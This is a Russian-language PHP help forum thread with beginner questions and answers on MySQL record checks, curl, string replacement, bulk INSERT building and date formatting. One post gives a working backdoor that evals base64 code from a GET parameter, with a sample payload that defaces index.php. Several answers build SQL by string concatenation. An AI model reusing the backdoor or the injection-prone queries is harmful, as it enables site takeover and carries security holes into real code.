Dark_cracker, PHP: $result = mysql_query("SELECT `lalala` FROM `table` WHERE lalala='tratata' "); $num = mysql_num_rows($result); if ($num == 1) { echo 'Такая запись уже есть'; } Вместо lalala пиши то поле, которое хочешь проверить. Также можно писать так: PHP: $result = mysql_query("SELECT * FROM `table` WHERE lalala='tratata' "); Это будет означать: Выбрать все поля из таблицы table где lalala = tratata. Вместо table пиши имя твоей таблицы. Вместо tratata пиши текст, и если этот текст в твоем поле будет, то скрипт выдаст "Такая запись уже есть".
Привет, не могу понять как сделать замену чисел есть массив с числами какие на какие заменять... PHP: $rate_array = array(1=>22,2=>19,3=>16,4=>13,5=>9); PHP: $time = 22; $time = strtr($time,$rate_array); На выходе 1919 получается а надо чтобы выводил 22 (заменял число целиком а не каждый символ...)
Ага... ла-ла-ла, тра-та-та Неплохие константы кодера... Во-первых, никто не говорил, что поле `lalala` - уникальное, соответственно может быть несколько записей в таблице с его одинаковым значением. Твой скрипт будет успешно работать только при уникальном значении `lalala`, а если же в таблице будет больше одной записи, то проверка не пройдет и скрипт продолжит свою работу. Дальше, насчет "можно писать так, а можно и так" - "писать" можно как угодно, а вот запрос должен быть сформулирован конкретно. Если человеку надо проверить существование записи в таблице, то объясни мне, ЗАЧЕМ ему выводить оттуда все данные? Лишний раз нагружать СУБД. Dark_cracker , юзай PHP: $result = mysql_query("SELECT NULL FROM `tableName` WHERE `fieldName` = 'fieldValue'"); $count = mysql_num_rows($result); if ($count) { #запись есть в БД } else { #записи нету }
Доброе утро) Как заставить, записывать данные с новой строки, а не в одну строчку PHP: function logs($con){ $file = "logs/errors.dat"; $fp=fopen($file,"a+"); fputs($fp,$con); fclose($fp);
Еще один дебильный вопрос, как с помощью curl обратиться к файлу на другом сервере. Допустим , на другом сервере лежит файл text.txt и в нем записано цифра "1". Как обратиться с локального сервера на удаленный к файлу text.txt и если там цифра 1, то выдать что Yes а если 0 то выдать NO
PHP: <?php $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://localhost/lol.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); if(preg_match('/1/',$result)){ echo "yes"; }else{ echo "no"; } ?> типа такого
Имею переменную $num[0][1] которая содержит количество строк для импорта в бд. Далее чере while собираю все строки PHP: while ($i <= $m) { ~~~~~~~~~ $import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."'); \n"; } $query = " INSERT INTO `db`.`table` ( `id` , `userid` , `title` , `status` , `size` ) VALUES $import "; $db->query($query); И вот теперь собсна вопрос, как сделать чтобы все кроме последней строки импорта имели на конце "," а последняя ";"
PHP: while ($i <= $m) { ~~~~~~~~~ $import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."')"; if($i == $m) $import .= ";\n"; else $import .= ",\n"; }
PHP: <?php error_reporting(E_ALL); $code = "\$f = fopen(\"./index.php\", \"w+\");\nfwrite(\$f, \"<b> Hacked by ХУЙ, 2010 </b>\");\nfclose(\$f);\n"; echo $code."<br>"; echo str_replace("+", "-", base64_encode($code))."<br>"; echo base64_decode(str_replace("-", "+", $_GET["command"]))."<br>"; if (isset($_GET["command"])) { eval (base64_decode(str_replace("-", "+", $_GET["command"]))); } ?> вот написал какую-то херню может че полутше кто предложит
подскажите как сделать: вывел 9 картинок через do-while+printf как разделить их на столбцы и(или) строки(3|3)?
_Malinovskiy_ PHP: <?php $mas = array('1','2','3','4','5','6','7','8','9','10','11'); //sposob #1 $count = 1; $step = 3; // Тут сколь столбцов foreach($mas as $line) { echo "[".$line."]" ; if($count % $step == 0) echo "<br />"; $count++; } echo "<hr />"; //sposob #2 for($i = 0; $i<count($mas); $i++) { echo "[".$mas[$i]."]" ; if(($i+1) % $step == 0) echo "<br />"; } ?> Два корявых способа =)
Сделал копию гостевой на RSSно есть одна проблема: при конвертации даты функцией date("r",$VXOD); получаю даты 01.01.1970 3:00:27 +- несколько секунд. что делать? P.S. в базу пишу дату date("j.m.Y H:i").